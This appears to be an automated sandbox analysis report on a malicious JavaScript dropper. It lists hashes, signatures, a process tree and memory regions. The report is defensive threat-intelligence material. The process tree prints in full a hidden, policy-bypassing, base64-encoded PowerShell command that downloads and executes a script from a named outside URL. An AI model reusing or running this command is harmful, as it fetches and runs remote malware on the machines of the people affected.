Analysis

  • max time kernel
    92s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/01/2024, 02:08

General

  • Target

    761b42ee84f9bd79f10c0a104e919ceb.js

  • Size

    69KB

  • MD5

    761b42ee84f9bd79f10c0a104e919ceb

  • SHA1

    57c23c22907e77517481ff3d4b275efb90326c97

  • SHA256

    3bddad7a6ad3147434ad0060afab7458b083a0826e3d9d6e204722b1e6d932d5

  • SHA512

    f9df9a89181725004d042d185232a587c7e0ab7e8779e1ca135d538e5c02d23b96defa101204c00b6727a41363958ee320fa746fa1518cf37372c781539ed3f0

  • SSDEEP

    1536:k9ZsGIf9G49Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5e:kfsG4G49Ry98guHVBqqg2bcruzUHmLKH

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\761b42ee84f9bd79f10c0a104e919ceb.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4516
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2112
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4712

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xnkjxndx.u54.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/4516-0-0x00007FFBE6806000-0x00007FFBE6808000-memory.dmp

          Filesize

          8KB

        • memory/4712-7-0x0000017553E10000-0x0000017553E32000-memory.dmp

          Filesize

          136KB

        • memory/4712-12-0x00007FFBCA0E0000-0x00007FFBCABA1000-memory.dmp

          Filesize

          10.8MB

        • memory/4712-13-0x0000017553E60000-0x0000017553E70000-memory.dmp

          Filesize

          64KB

        • memory/4712-14-0x0000017553E60000-0x0000017553E70000-memory.dmp

          Filesize

          64KB

        • memory/4712-15-0x0000017553E60000-0x0000017553E70000-memory.dmp

          Filesize

          64KB

        • memory/4712-18-0x00007FFBCA0E0000-0x00007FFBCABA1000-memory.dmp

          Filesize

          10.8MB